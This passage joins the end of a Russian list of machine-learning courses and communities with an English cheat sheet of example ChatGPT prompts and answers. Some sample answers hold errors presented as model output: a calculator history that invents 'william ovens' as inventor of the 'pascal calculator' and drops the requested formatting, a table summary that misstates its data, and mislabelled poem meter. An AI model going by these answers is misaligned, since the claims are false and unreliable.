* [Линейная алгебра (ВШЭ/HSE)](https://www.coursera.org/learn/algebra-lineynaya) — курс линейной алгебры для нематематических факультетов, подходит «для быстрого старта»
* [Эконометрика (ВШЭ/HSE)](https://www.coursera.org/learn/ekonometrika/) (Econometrics)
* [Business Analytics Specialization (University of Pennsylvania)](https://www.coursera.org/specializations/business-analytics) – специализация о практическом применении статистики и анализа данных. Для людей, разочаровавшихся в DS и не понимающих, на кой это всё
* [Social Network Analysis (University of Michigan)](https://www.coursera.org/learn/python-social-network-analysis)
* [Social and Economic Networks: Models and Analysis (Stanford University)](https://www.coursera.org/learn/social-economic-networks)
* [Recommender Systems Specialization (University of Minnesota)](https://www.coursera.org/specializations/recommender-systems)
* [Build Intelligent Applications Specialization (University of Washington)](https://www.coursera.org/specializations/machine-learning)
* [Программирование на Python (МФТИ/MIPT)](https://www.coursera.org/learn/diving-in-python)
* Udacity:
* [Machine Learning Engineer Nanodegree (co-created by Kaggle)](https://www.udacity.com/course/machine-learning-engineer-nanodegree--nd009)
* [Data Analyst Nanodegree (co-created by Facebook & MongoDB)](https://www.udacity.com/course/data-analyst-nanodegree--nd002)
* [Artificial Intelligence Nanodegree (co-created by IBM Watson & Amazon Alexa)](https://www.udacity.com/course/artificial-intelligence-nanodegree--nd889)
* [Predictive Analytics for Business Nanodegree (co-created by Tableau & Alteryx)](https://www.udacity.com/degrees/predictive-analytics-for-business--nd008)
* Edx:
* [Data Science and Engineering with Spark XSeries (Berkeley)](https://www.edx.org/xseries/data-science-engineering-apacher-sparktm)
* [6.002x: Introduction to Computational Thinking and Data Science (MIT)](https://www.edx.org/course/introduction-to-computational-thinking-and-data-science-2)
* [6.041x: Introduction to Probability - The Science of Uncertainty (MIT)](https://www.edx.org/course/introduction-probability-science-mitx-6-041x-2)
* [The Analytics Edge (MIT)](https://www.edx.org/course/the-analytics-edge-0)
* [Learning from Data (Caltech)](https://work.caltech.edu/telecourse.html) – введение в машинное обучение (основная теория, алгоритмы и области практического применения)
* [Видеозаписи лекций Школы Анализа Данных (ШАД)](https://yandexdataschool.ru/edu-process/courses)
* [Видеолекции курса «Машинное обучение» (К. В. Воронцов, ШАД)](https://yandexdataschool.ru/edu-process/courses/machine-learning)
* [Data Mining in Action course materials (МФТИ/MIPT)](https://github.com/vkantor/MIPT_Data_Mining_In_Action_2016)
* [Открытый курс OpenDataScience по машинному обучению](https://github.com/Yorko/mlcourse.ai)
* [Intro to Python for Data Science](https://www.datacamp.com/courses/intro-to-python-for-data-science) – основы Python и немного про NumPy
* [Основы статистики](https://stepic.org/course/76) — качественное введение в статистику, целиком на русском языке
* [Data Science and Machine Learning Essentials (Microsoft)](https://mva.microsoft.com/en-US/training-courses/data-science-and-machine-learning-essentials-14100)
* [CS231n: Convolutional Neural Networks for Visual Recognition (Stanford University)](http://cs231n.stanford.edu/) — отличный десятинедельный курс по нейросетям и компьютерному зрению
* :octocat: [repo on github](https://github.com/cs231n/cs231n.github.io)
* [Mining Massive Datasets (Stanford University)](https://lagunita.stanford.edu/courses/course-v1:ComputerScience+MMDS+Fall2016/about) - курс, основанный на книге Mining of Massive Datasets авторов Jure Leskovec, Anand Rajaraman, and Jeff Ullman (они же являются инструкторами этого курса)
* [CS109: Data Science (Harvard University)](http://web.stanford.edu/class/cs109/)
* [Foundations of Machine Learning](https://bloomberg.github.io/foml/) — a part of Bloomberg's _Machine Learning EDU_ initiative
----------------------------------------------------
## Social
Обсуждение машинного обучения в мессенджерах (группы, каналы, чаты, сообщества).
* [Open Data Science](http://ods.ai)
* [Посвященная московским ML-тренировкам группа в facebook](https://www.facebook.com/groups/1413405125598651/)
* [и группа вконтакте про тренировки по машинному обучению](https://vk.com/mltrainings)
* [Томская группа по машинному обучению](https://vk.com/tomskml)
* [Slack Томской группы по ML](https://tomskml.slack.com/)
* [форма регистрации](https://docs.google.com/forms/d/e/1FAIpQLSdYpgm7T80JpyBPt6NMgRP_4jne7v_qaGFjy8wDrS4fNajMDA/viewform?c=0&w=1)
* Паблики/группы вконтакте:
* [Data Science](https://vk.com/datascience)
* [Deep Learning](https://vk.com/deeplearning)
* [Data Mining Labs](https://vk.com/datamininglabs)
* [DeepLearning (Глубокие нейронные сети)](https://vk.com/deeplearning_ru)
* [Мемы про машинное обучение для юных леди](https://vk.com/weirdreparametrizationtrick)
* В телеграме:
* [Канал сообщества DeepLearning](https://t.me/deeplearning_ru)
* [Первый новостной канал про data science](https://t.me/opendatascience)
* [Чат по большим данным, обработке и машинному обучению](https://t.me/bigdata_ru) — Big Data & Machine Learning
* [Чат по теме Data Science](https://t.me/datasciencechat) — Data Science Chat
* [Канал py_digest](https://t.me/py_digest)
* [Чат ru_python](https://t.me/ru_python)
* [Spark in me: Internet, statistics, data science, philosophy](https://t.me/snakers4)
* [Чат канала Spark in me](https://t.me/joinchat/AAAAAEH9JHYBvaPLvaWPGg)
* [Канал с горячими постами с Reddit на DS тематику](https://t.me/datascientology)
* Сабреддиты по машинному обучению и смежным темам (рекомендую посмотреть как минимум топ за всё время + sidebar):
* [/r/analyzit](https://www.reddit.com/r/analyzit)
* [/r/bigdata](https://www.reddit.com/r/bigdata)
* [/r/bigdatajobs](https://www.reddit.com/r/bigdatajobs)
* [/r/computervision](https://www.reddit.com/r/computervision)
* [/r/datacleaning](https://www.reddit.com/r/datacleaning)
* [/r/datagangsta](https://www.reddit.com/r/datagangsta)
* [/r/dataisbeautiful](https://www.reddit.com/r/dataisbeautiful)
* [/r/dataisugly](https://www.reddit.com/r/dataisugly)
* [/r/datascience](https://www.reddit.com/r/datascience)
* [/r/datasets](https://www.reddit.com/r/datasets)
* [/r/dataviz](https://www.reddit.com/r/dataviz)
* [/r/JupyterNotebooks](https://www.reddit.com/r/JupyterNotebooks)
* [/r/LanguageTechnology](https://www.reddit.com/r/LanguageTechnology)
* [/r/learnmachinelearning](https://www.reddit.com/r/learnmachinelearning)
* [/r/learnpython](https://www.reddit.com/r/learnpython)
* [/r/MachineLearning](https://www.reddit.com/r/MachineLearning)
* [/r/opendata](https://www.reddit.com/r/opendata)
* [/r/rstats](https://www.reddit.com/r/rstats)
* [/r/probabilitytheory](https://www.reddit.com/r/probabilitytheory)
* [/r/pystats](https://www.reddit.com/r/pystats)
* [/r/SampleSize](https://www.reddit.com/r/SampleSize)
* [/r/semanticweb](https://www.reddit.com/r/semanticweb)
* [/r/statistics](https://www.reddit.com/r/statistics)
* [/r/textdatamining](https://www.reddit.com/r/textdatamining)
* [People tweeting about ML and AI](https://blog.talla.com/2016/02/people-tweeting-about-machine-learning-and-ai/)
* [Блоги по датасаенс-тематике](https://github.com/rushter/data-science-blogs) + список:
* [distill.pub](https://distill.pub/)
* [inference.vc](https://www.inference.vc/)
* [karpathy.github.io](https://karpathy.github.io/)
* [deliprao.com](http://deliprao.com/)
* [fastml.com](https://fastml.com/)
* [timvieira.github.io](https://timvieira.github.io/)
* [blogs.princeton.edu](https://blogs.princeton.edu/)
* [offconvex.org](https://www.offconvex.org/)
* [ruder.io](http://ruder.io/)
* [argmin.net](https://www.argmin.net/)
* [nlpers.blogspot.ru](https://nlpers.blogspot.com/)
* [blog.shakirm.com](http://blog.shakirm.com/)
* [blog.paralleldots.com](https://blog.paralleldots.com)
* [alexanderdyakonov.wordpress.com](https://dyakonov.org/)
|
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# The ChatGPT Cheat Sheet <img align="right" width="160" height="60" src="./img/logo.png">
This cheat sheet illustrates the diverse abilities of OpenAI’s ChatGPT (3.5 Turbo) for developers and content creators
to enhance their proficiency in large language model prompting across various domains including media
content creation, natural language processing, and programming.
Given the intrinsic randomness of ChatGPT, answers may vary when attempting to replicate the output shown in this guide.
**Table of Contents**:
1. [NLP Tasks](#nlp-tasks)
2. [Code](#code)
3. [Structured Output Styles](#structured)
4. [Unstructured Output Styles](#unstructured)
5. [Media Types](#media)
6. [Meta ChatGPT](#meta)
7. [Expert Prompting](#expert)
## 1. NLP Tasks <a id="nlp-tasks"></a>
### Text Generation
**Prompt:** write an intro paragraph to a mystery novel
**Answer:**
It was a dark and stormy night when the body was found. The small town of Millfield was in shock as the
news spread that one of their own, local businessman, had been murdered in cold blood. The police were at
a loss for leads and the residents of the town were on edge. But one person, a young and ambitious
reporter, was determined to uncover the truth and find the killer. Little did she know, this case would
lead her down a treacherous path of lies, deception, and hidden secrets that would shake the very
foundations of the town. As she delves deeper into the investigation, she begins to realize that nothing
is as it seems and that the killer may be closer than she ever imagined.
### Summarization
**Prompt:** summarize this text: It was a dark and stormy night when the body was found. The small town of
Millfield was in shock as the news spread that one of their own, local businessman, had been murdered in
cold blood. The police were at a loss for leads and the residents of the town were on edge. But one person,
a young and ambitious reporter, was determined to uncover the truth and find the killer. Little did she
know, this case would lead her down a treacherous path of lies, deception, and hidden secrets that would
shake the very foundations of the town. As she delves deeper into the investigation, she begins to realize
that nothing is as it seems and that the killer may be closer than she ever imagined.
**Answer:**
A young reporter in a small town investigates the murder of a local businessman and uncovers a web of
lies, deception and hidden secrets that shake the foundations of the town. The police have no leads and
the town is on edge. The reporter delves deeper into the investigation and realizes the killer may be
closer than she imagined.
### Open Domain Question Answering
**Prompt**: when did Apollo 11 land on the moon
**Answer:**
Apollo 11 landed on the moon on July 20, 1969.
### Paraphrasing
**Prompt:** rewrite this text: Apollo 11 landed on the moon on July 20, 1969
**Answer:**
On July 20, 1969, the Apollo 11 mission successfully landed on the moon.
### Sentiment Analysis (few-shot or zero-shot)
**Prompt:** I like pizza, positive
I don't like pizza, negative
sometimes, I like pizza sometimes I don't, neutral
while the movie was good, I sometimes though it was a bit dry,
**Answer:**
neutral
### Table to Text
**Prompt:** summarize the data in this table: I like pizza positive
I don't like bananas negative
Sometimes I like pizza but sometimes I don't neutral
While the movie in general was pretty good, I sometimes thought it was a bit dry neutral
**Answer:**
This table contains four statements, two of them express a positive and negative opinion about two
different subjects, Pizza and Bananas. Other two statements express a neutral opinion about the same
subjects, Pizza and a movie.
### Text to Table
**Prompt:** create a table from this text: create a 2 column table where the first column contains the stock
ticker symbol for Apple, Google, Amazon, Meta, and the other column contains the names of the companies.
**Answer:**
### Token Classification (few-shot or zero-shot)
**Prompt:** classify the named entities in this text: George Washington and his troops crossed the Delaware
River on December 25, 1776 during the American Revolutionary War.
**Answer:**
George Washington: Person
Delaware River: Location
December 25, 1776: Date
American Revolutionary War: Event/War
### Dataset Generation (few-shot or zero-shot)
**Prompt:** generate more datapoints from this text:
"contains no wit , only labored gags "
0 (negative)
"that loves its characters and communicates something rather beautiful about human nature "
1 (positive)
"remains utterly satisfied to remain the same throughout "
0 (negative)
**Answer:**
"has a convoluted plot that fails to engage the audience"
0 (negative)
"lacks emotional depth and fails to connect with the audience"
0 (negative)
### Machine Translation
**Prompt:** translate this text into Portuguese: welcome to the matrix
**Answer:**
Bem-vindo à matriz.
## 2. Code <a id="code"></a>
### Code Generation
**Prompt:** show me how to make an http request in Python
**Answer:**
Certainly! You can make an HTTP request in Python using the built-in requests module. Here's an example:
In this example, we're importing the requests module and assigning a URL to the url variable. We then make an HTTP GET request to that URL using the requests.get() function and store the response in the response variable.
We then check the status code of the response to make sure it was successful (a status code of 200 indicates success), and print the JSON content of the response using the response.json() method.
If the status code is not 200, we print an error message along with the status code.
This is just a basic example, but the requests module provides a lot of functionality for making HTTP requests and handling responses in Python.
### Code Explanation
**Prompt:** explain this python code:
from deepsparse import Pipeline
qa_pipeline = Pipeline.create(task="question-answering")
inference = qa_pipeline(question="What's my name?", context="My name is Snorlax")
{'score': 0.9947717785835266, 'start': 11, 'end': 18, 'answer': 'Snorlax'}
**Answer:**
This code is using a library called "deepsparse" to create a pipeline for question-answering.
from deepsparse import Pipeline imports the "Pipeline" class from the "deepsparse" library, which allows
the user to define a pipeline for a specific task like question-answering.
qa_pipeline = Pipeline.create(task="question-answering") creates a new pipeline object for the task of
question-answering and assigns it to the variable "qa_pipeline".
inference = qa_pipeline(question="What's my name?", context="My name is Snorlax") is passing the values of
the question and context to the pipeline object "qa_pipeline" and storing the result in a variable called
"inference". The inference variable stores a dictionary containing the score of the answer, the start and
end index of the answer in the context, and the answer itself. The returned output would look like
{'score': 0.9947717785835266, 'start': 11, 'end': 18, 'answer': 'Snorlax'}
It appears that the pipeline is using some form of machine learning model to understand the question and
context, and extract the answer from the context based on the question. The library "deepsparse" is meant
for public use, this code is an example of how to use it to perform question-answering task.
### Docstrings Generation
**Prompt:** write a docstring description for this function:
import requests
def make_get_request(url):
 response = requests.get(url)
 return response.status_code, response.text
make_get_request('https://www.example.com')
**Answer:**
Here's an example docstring description for the make_get_request function:
In this docstring, we describe the purpose of the function and what it does. We also document the arguments it takes, the return value it provides, and provide an example usage of the function. This information can help other developers understand how to use the function and what to expect from it.
### Programming Language Conversion
**Prompt:** convert this code from Python to Javascript:
print("hello world")
**Answer:**
console.log("hello world");
### Data Object Conversions (JSON, XML, CSV etc.)
**Prompt:** convert this JSON object into XML:
{"Name":{"0":"John Smith","1":"Jane Doe","2":"Bob Johnson","3":"Samantha
Williams"},"Age":{"0":32,"1":28,"2":45,"3":40},"Gender":{"0":"Male","1":"Female","2":"Male","3":"Female"},"O
ccupation":{"0":"Software Developer","1":"Data Analyst","2":"Project Manager","3":"Marketing Director"}}
**Answer:**
Here's an example XML representation of the provided JSON object:
In this XML representation, we've used the <root> element to encapsulate the entire object. We've also used the key names (Name, Age, Gender, Occupation) as the XML element names, and created sub-elements with the values of each key as their child elements.
Note that we've used the name <value> for each child element to represent the values in the JSON object. This is because XML requires each child element to have a unique name, and the values in the JSON object don't have any specific names. Alternatively, we could use a different naming convention for the child elements if we wanted to.
### Knowledge Graph Generation
**Prompt:** convert this text into nodes and edges: Babe Ruth joined the New York Yankees in 1920. The Boston
Red Sox sold his contract to the Yankees. He played for the Yankees from 1920 to 1934, and during that time
he established himself as one of the greatest players in baseball history.
**Answer:**
Here is an example of how the text could be converted into nodes and edges:
Nodes:
•Babe Ruth
•New York Yankees
•Boston Red Sox
•baseball history
Edges:
•Babe Ruth (node) joined (edge) New York Yankees (node) in 1920 (edge property)
•Boston Red Sox (node) sold (edge) Babe Ruth's contract (edge property) to (edge) New York Yankees (node)
•Babe Ruth (node) played for (edge) New York Yankees (node) from 1920 (edge property) to 1934 (edge property)
•Babe Ruth (node) established himself as (edge) one of the greatest players (edge property) in baseball history (node)
It's important to note that, the representation of the knowledge graph can be different depending on the
purpose of the graph, and depending on the data available in the text.
### HTML to Text (Web Scraping)
**Prompt:**
```text
convert this HTML to text: <h1 class="heading1" id="neural-magic-platform-documentation">Neural
Magic Platform Documentation</h1>
```
**Answer:**
Neural Magic Platform Documentation
## 3. Structured Output Styles <a id="structured"></a>
### List
**Prompt:** give me a list of 5 citrus fruits
**Answer:**
Here is a list of 5 citrus fruits:
● Oranges
● Lemons
● Limes
● Grapefruit
● Tangerines
### Numbered List
**Prompt:** give me a numbered list of 5 citrus fruits
**Answer:**
Sure, here is a numbered list of 5 citrus fruits:
1. Oranges
2. Lemons
3. Limes
4. Grapefruit
5. Tangerines
### Headings and Subheadings
**Prompt:** convert this text into headings and subheadings: Babe Ruth joined the New York Yankees in 1920. The
Boston Red Sox sold his contract to the Yankees. He played for the Yankees from 1920 to 1934, and during
that time he established himself as one of the greatest players in baseball history.
**Answer:**
Here is an example of how the text could be converted into headings and subheadings:
1. Introduction
○ The text is about Babe Ruth and his time playing for the New York Yankees
○ The text covers his move from the Boston Red Sox to the Yankees and his time playing for the team
2. Babe Ruth's move to the New York Yankees
○ Babe Ruth joined the New York Yankees in 1920
○ The Boston Red Sox sold his contract to the Yankees
3. Babe Ruth's time with the New York Yankees
○ He played for the Yankees from 1920 to 1934
○ During that time he established himself as one of the greatest players in baseball history
It's important to note that the text needs to be structured and well-organized in order to create clear
and meaningful headings and subheadings.
### Tables
**Prompt:** create a table from this list: Oranges, Lemons, Limes, Grapefruit, Tangerines
**Answer:**
## 4. Unstructured Output Styles <a id="unstructured"></a>
### Narrative Modes (1st, 2nd or in the 3rd person)
**Prompt:** write a paragraph on how to make brownies in the 1st person
**Answer:**
Hey there, I'm excited to show you how to make delicious brownies from scratch.
To make brownies, you will need the following ingredients:
● 1/2 cup (1 stick) of unsalted butter
● 1 cup of granulated sugar
● 2 large eggs
● 1 teaspoon of vanilla extract
● 1/2 cup of all-purpose flour
● 1/3 cup of unsweetened cocoa powder
● 1/4 teaspoon of salt
Here's the step by step process:
1. Preheat your oven to 350°F (175°C) and grease an 8-inch square baking pan.
2. Melt the butter in a saucepan over medium heat. Once melted, remove from heat and stir in the sugar.
3. Add the eggs and vanilla extract, and mix well.
4. In a separate bowl, combine the flour, cocoa powder, and salt. Gradually add this to the butter mixture, stirring until well blended.
5. Pour the batter into the prepared pan, and smooth the top with a spatula.
6. Bake for 18-20 minutes, or until a toothpick inserted into the center comes out clean.
7. Once done, remove from the oven and let it cool for a few minutes before cutting into squares and serving.
And there you have it, a batch of delicious homemade brownies. I recommend serving them warm with a scoop of vanilla ice cream or a drizzle of chocolate sauce. Enjoy!
### Formal
**Prompt:** write a paragraph on the topic of cellular automata in a formal style
**Answer:**
Cellular automata is a mathematical model that simulates the behavior of complex systems through the
interaction of simple, locally interacting agents. This model is used to understand and predict the
behavior of a wide range of systems, including but not limited to physics, chemistry, biology and computer
science. The theory behind cellular automata is based on the concept of a collection of discrete cells,
which can exist in a finite number of states, and whose evolution is determined by a set of rules that
depend on the state of the cells and their neighbors. Its applications are varied and range from
theoretical physics, to computer science, to the modeling of complex systems.
### Personas
**Prompt:** write a paragraph on the topic of cellular automata in the style of a social media influencer
**Answer:**
Hey guys, have you heard about cellular automata? It's this super cool concept that simulates the behavior
of complex systems through the interaction of simple agents. Think of it like a virtual world where tiny
"cells" interact with each other to create amazing patterns and behaviors. It's like a mini universe in
your computer! It's used in all sorts of fields like physics, chemistry, biology and computer science.
It's so mind-blowing to think about all the possibilities that cellular automata holds. I'm obsessed and I
think you will be too! #cellularautomata #science #futurism
### Custom Text Manipulation
**Prompt:** write a paragraph on the history of the calculator, include emojis at the end of every sentence, and
do not capitalize the first word in each sentence
**Answer:**
the first calculator was invented by william ovens in 1642. it was called the "pascal calculator" and was
designed to perform the four basic arithmetic operations. in the following centuries, many different types
of calculators were invented, including the slide rule and the abacus. however, it wasn't until the 1970s
that electronic calculators became widely available and affordable. the first electronic calculator was
the "hp-35" which was introduced in 1972 by hewlett-packard. it was a scientific calculator that could
perform trigonometric and logarithmic functions. 🤖📊 Since then, the calculator has become an essential
tool in many fields, including science, engineering, and finance. 💻🧮 Today, we have a wide variety of
calculators available, from basic models to advanced models with advanced features like graphing
capabilities and programming languages.📱💻
## 5. Media Types <a id="media"></a>
### Write Social Media Posts
**Prompt:** write a tweet on futurism
**Answer:**
"Exploring the future is both exciting and daunting. From AI to biotech, advances in technology are
shaping our world in ways we never thought possible. Let's embrace change and shape the future together.
#futurism #technology #innovation"
### Write Blogs
**Prompt:** write a blog on french cuisine
**Answer:**
French cuisine is widely considered to be one of the most sophisticated and refined in the world. The
French have a long history of culinary arts, dating back to the Middle Ages, and have developed a culinary
tradition that is rich and diverse. French cuisine is characterized by its use of fresh, seasonal
ingredients, expertly prepared and presented in a way that is both elegant and delicious.
One of the most recognizable elements of French cuisine is the use of sauces. French sauces are typically
made with a base of butter, cream, or stock, and are flavored with herbs, spices, and other ingredients.
Some of the most famous French sauces include béarnaise, hollandaise, and béchamel. These sauces are often
served with meats, seafood, and vegetables and are a hallmark of French cuisine.
Another important element of French cuisine is the use of fresh, seasonal ingredients. The French are
known for their commitment to using only the freshest and highest-quality ingredients in their cooking.
This is why many French dishes are only available at certain times of the year, when the ingredients are
at their peak.
One of the most popular types of French cuisine is 'bistro' cuisine. These are casual, friendly
restaurants that serve traditional French dishes in a relaxed atmosphere. Bistro cuisine often features
simple, hearty dishes such as steak frites, mussels, and ratatouille, and is a great way to experience the
flavors of France.
French pastries and desserts are also famous around the world. French patisseries, or pastry shops, are
known for their delicious croissants, macarons, tarts, and cakes. French desserts are often made with
fresh fruits, cream, and chocolate and are a perfect way to end a meal.
### Write Emails
**Prompt:** write an email selling software to corporate executives
**Answer:**
Subject: Enhance Your Business Operations with Our Innovative Software
Dear [Executive's Name],
I hope this email finds you well. My name is [Your Name], and I am reaching out to introduce you to our
cutting-edge software that has the potential to revolutionize the way your business operates.
Our software is designed to streamline and automate various business processes, including but not limited
to inventory management, financial forecasting, and customer relationship management. With its
user-friendly interface and customizable features, it is easy for your team to navigate and tailor to your
specific needs.
What sets our software apart from the competition is its ability to integrate seamlessly with other
systems and platforms, allowing for smooth data transfer and real-time analysis. This results in increased
efficiency, reduced errors and ultimately improved decision-making capabilities.
We understand that every business is unique, and that's why our team is dedicated to providing
personalized solutions and exceptional customer service. We would love the opportunity to schedule a demo
and show you how our software can benefit your business.
Please let me know if this is something that interests you and we can schedule a time that works best for
you. I look forward to hearing from you soon.
Best regards,
[Your Name]
P.S. Our software comes with a 30-day free trial and flexible pricing options to fit any budget. Don't
hesitate to reach out if you have any questions or concerns.
### Write Poems
**Prompt:** write a poem about the soul and show rhyme and meter headings
**Answer:**
The soul, a mystery deep and true
A treasure to find, a journey to pursue
Rhyme: AABB
Meter: Iambic tetrameter
It whispers to us, in the dark of the night
Guiding us towards, the path that is right
Rhyme: AABB
Meter: Iambic tetrameter
It is the essence, of who we truly are
A light that shines, from the stars
Rhyme: AABB
Meter: Iambic tetrameter
It is the music, that plays in our hearts
The rhythm that keeps us, from falling apart
### Write Songs
**Prompt:** write a folk song about the sunset show guitar chords
**Answer:**
Verse 1:
G C G
The sun sets in the west
G C G
And the sky turns a fiery red
G C G
I take my guitar in hand
D G C G
And play a song for the sunset show
Chorus:
C G D
Oh the sunset show
C G D
Is a sight to behold
C G D
As the day comes to a close
G C G
I'll keep playing my guitar
### Write Resumes/Cover Letters
**Prompt:** write a software engineer resume
**Answer:**
[Full Name]
[Address]
[Phone Number]
[Email Address]
Summary:
Highly motivated and experienced software engineer with over 5 years of experience in the industry. Strong
background in full-stack development and a proven track record of delivering high-quality, reliable and
maintainable code. Skilled in multiple programming languages including Java, Python, and JavaScript.
Strong problem-solving and analytical skills, with a passion for learning new technologies and staying
current in the field.
Education:
● Bachelor of Science in Computer Science, [University Name], [Graduation Date]
● Master of Science in Computer Science, [University Name], [Graduation Date]
Technical Skills:
● Programming Languages: Java, Python, JavaScript, C++, C#
● Web Development: HTML, CSS, React, AngularJS, Node.js
● Database: MySQL, MongoDB, Oracle
● Tools and Frameworks: Git, JIRA, Scrum, Agile
● Operating Systems: Windows, Linux, MacOS
Professional Experience:
Software Engineer, [Company Name], [Dates of Employment]
● Worked on the development of a web-based application using React, Node.js, and MongoDB.
● Collaborated with the team to design and implement new features, improve performance and fix bugs.
● Contributed to the design and implementation of the application's RESTful API.
● Assisted with the deployment of the application to the production environment.
● Participated in code reviews and provided feedback to other team members.
● Mentored junior developers and provided guidance on best practices.
Software Developer, [Company Name], [Dates of Employment]
● Worked on the development of a mobile application using Java and Android SDK.
● Collaborated with the team to design and implement new features, improve performance and fix bugs.
● Assisted with the deployment of the application to the Google Play Store.
● Participated in code reviews and provided feedback to other team members.
Additional Experience:
● Participated in various hackathons and coding competitions, winning several awards for creative and efficient solutions.
● Contributed to open-source projects on Github.
Certifications:
● Oracle Certified Professional, Java SE 11 Developer
● Microsoft Certified: Azure Developer Associate
● AWS Certified Developer - Associate
Professional Affiliations:
● Member of [Professional Organization Name]
● Member of [Professional Organization Name]
Languages:
English (native)
Spanish (fluent)
## 6. Meta ChatGPT <a id="meta"></a>
### Ask ChatGPT About Its Own Capabilities
**Prompt:** what ways can you structure text output?
**Answer:**
As a language model, I can structure text output in a variety of ways, including:
● Paragraphs: I can generate text in the form of multiple paragraphs, which can be useful for longer pieces of writing such as articles or essays.
● Lists: I can generate lists of items, which can be useful for creating bullet points or enumerated lists.
● Headings and subheadings: I can use headings and subheadings to organize text and make it easier to read.
● Sentences: I can generate text one sentence at a time, which can be useful for generating responses to specific questions or prompts.
● Tables: I can generate table format text, which can be useful for displaying data in a structured format.
● Poems and songs: I can structure text in rhyme and meter, which can be useful for generating creative writing like poems and songs.
● Dialogue: I can generate text in the form of a conversation or dialogue between two or more characters.
These are just a few examples of the ways that I can structure text output. The specific structure will
depend on the prompt and task at hand.
### Update ChatGPT's Knowledge
### Ask ChatGPT to Expand on Answers
## 7. Expert Prompting <a id="expert"></a>
**You can use several conditions discussed in this cheat sheet to prompt ChatGPT to obtain more granular output.**
### Prompt ChatGPT with Simultaneous Conditions
**Prompt:** write a paragraph on machine learning, in the 1st person, with emojis, with headings and subheadings
**Answer:**
🤖 Hi there! I'm excited to talk to you about machine learning.
🧠 Machine learning is a type of artificial intelligence (AI) that allows systems to learn and improve from experience without being explicitly programmed.
📈 It is used in a wide range of applications, such as image recognition, natural language processing, and predictive analytics.
🤖 Here's a breakdown of the different types of machine learning:
1. Supervised Learning
● 🏫 In this type of learning, the model is trained on a labeled dataset, where the correct output is already known.
● 💻 Common examples include identifying objects in images or spam emails.
2. Unsupervised Learning
● In this type of learning, the model is not given any labeled data and must find patterns and relationships on its
own.
● 🤖 Common examples include clustering data or identifying patterns in customer behavior.
3. Reinforcement Learning
● 🎮 In this type of learning, the model is rewarded for certain actions and learns through trial and error.
● 🤖 This is often used in gaming and robotics.
🤖 I hope this gives you a better understanding of machine learning and its different types! Let me know if you have any questions.
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